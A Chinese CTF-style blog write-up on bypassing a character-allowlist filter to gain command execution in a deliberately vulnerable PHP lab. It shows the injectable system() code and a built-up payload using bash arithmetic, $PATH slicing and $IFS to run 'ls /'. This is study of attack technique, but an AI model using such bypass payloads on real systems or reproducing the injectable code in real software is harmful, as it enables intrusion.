当前位置: 首页 > news >正文

受限字符+环境变量RCE

文章

https://blog.csdn.net/weixin_46706771/article/details/119145129

https://github.com/ProbiusOfficial/RCE-labs

搭建

<?php
//hint: flag 在根目录下,名字是一个根目录下不常见的文件名
error_reporting(0);
show_source(__FILE__);
$a = $_POST['a'];
$b = '(~SHIP}:{TAF$)';
if (strspn($a, $b) !== strlen($a)) {die('hacker!!!');
}
system("$a");
?>

Dockerfile

# 使用官方的 PHP 镜像作为基础镜像,基于 Apache
FROM php:7.4-apache# 启用mod_rewrite模块,可能对某些CTF题目有用
RUN a2enmod rewrite# 将当前目录的代码复制到容器中的 /var/www/html 目录
COPY . /var/www/html/# 设置工作目录
WORKDIR /var/www/html# 打开容器的80端口
EXPOSE 80# 启动Apache服务(由镜像默认启动)
CMD ["apache2-foreground"]
进入容器执行
ls -l /bin/sh  # 查看当前指向(例如 /bin/sh -> dash)
rm /bin/sh     # 删除旧链接(谨慎操作!)
ln -s /bin/bash /bin/sh  # 让 /bin/sh 指向 bash

这样system可以执行环境变量切片

复现

echo ${PATH:5:1}${PATH:11:1}

然后我们通过构造数字

oct_list = [  # 构造数字 0-7 以便于后续八进制形式的构造'$(())',  # 0'$((~$(($((~$(())))$((~$(())))))))',  # 1'$((~$(($((~$(())))$((~$(())))$((~$(())))))))',  # 2'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 3'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 4'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 5'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 6'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 7
]

但是这里我们有一个11 需要构造八进制的 0 1 3 实现

echo $((013))

输出11 所以我们这样构造即可

$(($(())$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))))

image-20250428104747324

最后构造整个ls / 空格使用 $IFS绕过

echo ${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$(($(())$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(()))))))))):$((~$(($((~$(())))$((~$(())))))))}$IFS${PATH::$((~$(($((~$(())))$((~$(())))))))}

image-20250428104933433

这里是后面复现 所以东西不多 挺好的一个题目

相关文章:

  • 代码随想录打卡|Day29 动态规划Part02(不同路径、不同路径2、整数拆分、不同的二叉树搜索)
  • 免费LUT网站
  • 【Docker】使用 jq 管理镜像源
  • C++核心编程:类与对象全面解析
  • uniapp常用
  • 迭代器与生成器
  • 2025A卷-正整数到Excel编号之间的转换
  • 什么是 Web 标准?为什么它们对 SEO 和开发很重要?
  • GitLab CVE-2024-12444 安全漏洞解决方案
  • Vue+Echarts 3D地图效果
  • Java锁的升级流程详解:无锁、偏向锁、轻量级锁、重量级锁
  • YUM/DNF管理工具
  • 用vite动态导入vue的路由配置
  • 递归、搜索和回溯算法《递归》
  • 飞凌嵌入式T527核心板获得【OpenHarmony生态产品兼容性证书】
  • window 图形显示驱动-在 WDDM 1.2 中提供无缝状态转换(下)
  • 关于健身房管理系统前后端软件开发主要功能需求分析
  • 《Astro 3.0岛屿架构让内容网站“脱胎换骨”》
  • RISCV学习(5)GD32VF103 MCU架构了解
  • 【AI News | 20250428】每日AI进展
  • 华侨城A:一季度营收53.63亿元,净利润亏损14.19亿元
  • 金融创新破局记:中小微企业转型背后的金融力量
  • 原创话剧风向标!这个展演上《大宅门》《白鹿原》先后上演
  • 高璞任中国第一汽车集团有限公司党委常委、副总经理
  • 泰山景区管委会:未经审核同意不得擅自举办竞速类登山活动
  • 韩国京畿道骊州市市长率团访问菏泽:想和菏泽一起办牡丹节